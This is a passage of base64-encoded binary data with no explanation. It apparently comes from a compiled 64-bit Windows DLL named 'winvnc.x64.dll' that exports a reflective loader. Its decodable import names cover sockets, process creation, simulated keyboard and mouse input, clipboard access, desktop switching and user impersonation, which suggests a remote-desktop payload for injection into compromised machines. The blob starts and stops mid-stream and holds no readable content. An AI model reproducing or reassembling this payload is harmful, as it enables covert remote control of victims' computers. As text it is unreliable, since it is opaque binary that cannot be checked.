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kbGwAAGgBRnJlZUxpYnJhcnkATAJHZXRQcm9jQWRkcmVzcwAAIAFFeGl0VGhyZWFkAAAIAkdldExhc3RFcnJvcgAA/QNSZWxlYXNlTXV0ZXgAAAgFV2FpdEZvclNpbmdsZU9iamVjdADABFNsZWVwADQFV3JpdGVGaWxlAFIAQ2xvc2VIYW5kbGUAmwBDcmVhdGVNdXRleEEAAD4DTG9hZExpYnJhcnlBAACkAENyZWF0ZVByb2Nlc3NBAACIAENyZWF0ZUZpbGVBAA4FV2FpdE5hbWVkUGlwZUEAAMYBR2V0Q3VycmVudFByb2Nlc3MAygFHZXRDdXJyZW50VGhyZWFkAADLAUdldEN1cnJlbnRUaHJlYWRJZAAApgRTZXRUaHJlYWRQcmlvcml0eQAWBFJlc3VtZVRocmVhZAAA6gJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAPIARW50ZXJDcml0aWNhbFNlY3Rpb24AADsDTGVhdmVDcml0aWNhbFNlY3Rpb24AANIARGVsZXRlQ3JpdGljYWxTZWN0aW9uAAEEUmVsZWFzZVNlbWFwaG9yZQAA7ABEdXBsaWNhdGVIYW5kbGUAfgJHZXRTeXN0ZW1UaW1lANMEVGxzQWxsb2MAANUEVGxzR2V0VmFsdWUA1gRUbHNTZXRWYWx1ZQCrAENyZWF0ZVNlbWFwaG9yZUEAAMcBR2V0Q3VycmVudFByb2Nlc3NJZADlBFVubWFwVmlld09mRmlsZQBmBFNldEVycm9yTW9kZQAANAFGaW5kQ2xvc2UAeARTZXRGaWxlVGltZQANAkdldExvZ2ljYWxEcml2ZVN0cmluZ3NBAHwAQ3JlYXRlRGlyZWN0b3J5QQAA1ABEZWxldGVGaWxlQQA4AUZpbmRGaXJzdEZpbGVBAABJAUZpbmROZXh0RmlsZUEAkgFHZXRDb21wdXRlck5hbWVBAAC7Akdsb2JhbEFsbG9jAMYCR2xvYmFsTG9jawAAzQJHbG9iYWxVbmxvY2sAAL0CR2xvYmFsRGVsZXRlQXRvbQAAywRTeXN0ZW1UaW1lVG9GaWxlVGltZQAAuQJHbG9iYWxBZGRBdG9tQQAAqwJHZXRWZXJzaW9uRXhBAGcEU2V0RXZlbnQAAEtFUk5FTDMyLmRsbAAALgJPcGVuSW5wdXREZXNrdG9wAADAAlNldFRocmVhZERlc2t0b3AAADACT3BlbldpbmRvd1N0YXRpb25BAACwAlNldFByb2Nlc3NXaW5kb3dTdGF0aW9uAGoBR2V0UHJvY2Vzc1dpbmRvd1N0YXRpb24AjAFHZXRVc2VyT2JqZWN0SW5mb3JtYXRpb25BAM4CU2V0V2luZG93UG9zAAD3AEZpbmRXaW5kb3dBADUBR2V0SWNvbkluZm8AtAJTZXRSZWN0ACMBR2V0REMAaQJSZWxlYXNlREMASgBDbG9zZURlc2t0b3AAAIQBR2V0VGhyZWFkRGVza3RvcAAA5wBFbnVtRGlzcGxheVNldHRpbmdzQQAARAFHZXRLZXlib2FyZFN0YXRlAAA4A2tleWJkX2V2ZW50ADkDbW91c2VfZXZlbnQAgAFHZXRTeXN0ZW1NZXRyaWNzAACgAUdldFdpbmRvd1JlY3QAIgFHZXRDdXJzb3JQb3MAAMEBSW50ZXJzZWN0UmVjdADYAUlzUmVjdEVtcHR5ACUBR2V0RGVza3RvcFdpbmRvdwAAKwJPcGVuRGVza3RvcEEAAOEARW51bURlc2t0b3BXaW5kb3dzAABmAlJlZ2lzdGVyV2luZG93TWVzc2FnZUEAAK4ARGlzcGF0Y2hNZXNzYWdlQQAANgJQZWVrTWVzc2FnZUEAAHsCU2VuZE1lc3NhZ2VBAAA5AlBvc3RNZXNzYWdlQQAALwNXYWl0TWVzc2FnZQCbAERlZldpbmRvd1Byb2NBAAA7AlBvc3RRdWl0TWVzc2FnZQBQAlJlZ2lzdGVyQ2xhc3NFeEEAAG0AQ3JlYXRlV2luZG93RXhBAKYARGVzdHJveVdpbmRvdwDkAUlzV2luZG93VmlzaWJsZQAqAk9wZW5DbGlwYm9hcmQASQBDbG9zZUNsaXBib2FyZAAAGwFHZXRDbGlwYm9hcmRPd25lcgCNAlNldENsaXBib2FyZFZpZXdlcgAAIgBDaGFuZ2VDbGlwYm9hcmRDaGFpbgAAjAJTZXRDbGlwYm9hcmREYXRhAAAYAUdldENsaXBib2FyZERhdGEAANUARW1wdHlDbGlwYm9hcmQAAMECU2V0VGltZXIAAOcBS2lsbFRpbWVyAC8BR2V0Rm9yZWdyb3VuZFdpbmRvdwCyAlNldFByb3BBAABsAUdldFByb3BBAABsAlJlbW92ZVByb3BBADQDV2luZG93RnJvbVBvaW50APMARXF1YWxSZWN0AJgBR2V0V2luZG93TG9uZ1B0ckEAygJTZXRXaW5kb3dMb25nUHRyQQDyAEVudW1XaW5kb3dzABMBR2V0Q2xhc3NOYW1lQQDsAUxvYWRDdXJzb3JBAMgARHJhd0ljb25FeAAAIwBDaGFuZ2VEaXNwbGF5U2V0dGluZ3NBAADzAlN5c3RlbVBhcmFtZXRlcnNJbmZvQQAHAUdldEFzeW5jS2V5U3RhdGUAACYDVmtLZXlTY2FuQQAACQJNYXBWaXJ0dWFsS2V5QQAA9QBFeGl0V2luZG93c0V4ABECTWVzc2FnZUJlZXAAVVNFUjMyLmRsbAAA5gBEZWxldGVPYmplY3QAAKcBR2V0Qml0bWFwQml0cwD7AUdldE9iamVjdEEAABICR2V0U3lzdGVtUGFsZXR0ZUVudHJpZXMAMQBDcmVhdGVEQ0EA4wBEZWxldGVEQwAANAFFeHRFc2NhcGUAEwBCaXRCbHQAAC8AQ3JlYXRlQ29tcGF0aWJsZUJpdG1hcAAAMABDcmVhdGVDb21wYXRpYmxlREMAAEkAQ3JlYXRlUGFsZXR0ZQDLAUdldERldmljZUNhcHMAygFHZXRESUJpdHMADQJHZXRTdG9ja09iamVjdAAAXAJSZWFsaXplUGFsZXR0ZQAAdwJTZWxlY3RPYmplY3QAAHgCU2VsZWN0UGFsZXR0ZQA1AENyZWF0ZURJQlNlY3Rpb24AAHUBR2RpRmx1c2gAACIAQ29tYmluZVJnbgAATwBDcmVhdGVSZWN0UmduAFAAQ3JlYXRlUmVjdFJnbkluZGlyZWN0AAoCR2V0UmVnaW9uRGF0YQBHREkzMi5kbGwAkAJSZXZlcnRUb1NlbGYAADACUmVnQ2xvc2VLZXkANwJSZWdDcmVhdGVLZXlBAEcCUmVnRGVsZXRlVmFsdWVBAH0CUmVnU2V0VmFsdWVFeEEAAGQBR2V0VXNlck5hbWVBAABzAUltcGVyc29uYXRlTG9nZ2VkT25Vc2VyAEFEVkFQSTMyLmRsbAAA1wJIZWFwRnJlZQAA0wJIZWFwQWxsb2MAJQRSdGxVbndpbmRFeAAfBFJ0bExvb2t1cEZ1bmN0aW9uRW50cnkAAO4ARW5jb2RlUG9pbnRlcgDLAERlY29kZVBvaW50ZXIAHwFFeGl0UHJvY2VzcwAdAkdldE1vZHVsZUhhbmRsZUV4VwAAaQNNdWx0aUJ5dGVUb1dpZGVDaGFyACAFV2lkZUNoYXJUb011bHRpQnl0ZQCAAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lALQAQ3JlYXRlVGhyZWFkAABAA0xvYWRMaWJyYXJ5RXhXAAAhBFJ0bFBjVG9GaWxlSGVhZGVyALQDUmFpc2VFeGNlcHRpb24AAIwBR2V0Q29tbWFuZExpbmVBAAIDSXNEZWJ1Z2dlclByZXNlbnQABgNJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AAwDSXNWYWxpZENvZGVQYWdlAG4BR2V0QUNQAAA+AkdldE9FTUNQAAB4AUdldENQSW5mbwCABFNldExhc3RFcnJvcgAAUQJHZXRQcm9jZXNzSGVhcAAAawJHZXRTdGRIYW5kbGUAABoCR2V0TW9kdWxlRmlsZU5hbWVXAAAYBFJ0bENhcHR1cmVDb250ZXh0ACYEUnRsVmlydHVhbFVud2luZAAA4gRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAALMEU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAOsCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudADOBFRlcm1pbmF0ZVByb2Nlc3MAANQEVGxzRnJlZQBqAkdldFN0YXJ0dXBJbmZvVwAeAkdldE1vZHVsZUhhbmRsZVcAAPoBR2V0RmlsZVR5cGUA3AJIZWFwU2l6ZQAAXQFGbHVzaEZpbGVCdWZmZXJzAACgAUdldENvbnNvbGVDUAAAsgFHZXRDb25zb2xlTW9kZQAAwwNSZWFkRmlsZQAAwQNSZWFkQ29uc29sZVcAABkCR2V0TW9kdWxlRmlsZU5hbWVBAACpA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAOEBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAZwFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwBwAkdldFN0cmluZ1R5cGVXAABkAENvbXBhcmVTdHJpbmdXAAAvA0xDTWFwU3RyaW5nVwAAjANPdXRwdXREZWJ1Z1N0cmluZ1cAAHUEU2V0RmlsZVBvaW50ZXJFeAAA2gJIZWFwUmVBbGxvYwCUBFNldFN0ZEhhbmRsZQA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